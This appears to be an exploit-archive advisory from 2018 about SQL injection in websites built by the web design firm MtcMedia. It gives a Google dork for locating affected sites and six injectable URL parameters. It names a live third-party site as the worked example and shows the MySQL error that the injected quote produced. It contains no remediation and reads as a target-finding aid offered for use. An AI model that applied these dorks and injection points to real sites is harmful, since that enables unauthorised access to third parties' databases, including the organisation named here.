#################################################################################################
# Exploit Title : Website Hosted By mtc MtcMedia Web Design Scotland SQL Injection Vulnerability
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army
# Date : 02/07/2018
# Vendor Homepage : mtcmedia.co.uk
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# CWE : CWE-89 [ Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') ]
#################################################################################################
# Google Dork : intext:''Website hosted by mtc.''
# Exploit :
/gallery.php?id=[SQL Inj]
/viewresult.php?id=[SQL Inj]
/activities.php?category=[SQL Inj]
/viewnews.php?id=[SQL Inj]
/viewevents.php?id=[SQL Inj]
/training.php?category=[SQL Inj]
#################################################################################################
# Example Site => bbdundeeangus.org.uk/gallery.php?id=56%27 => [ Proof of Concept ] => archive.is/7py4E
# SQL Database Error =>
SELECT id FROM images WHERE category ='56'' ORDER BY `id` DESC
You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near ''56'' ORDER BY `id` DESC' at line 1
#################################################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
#################################################################################################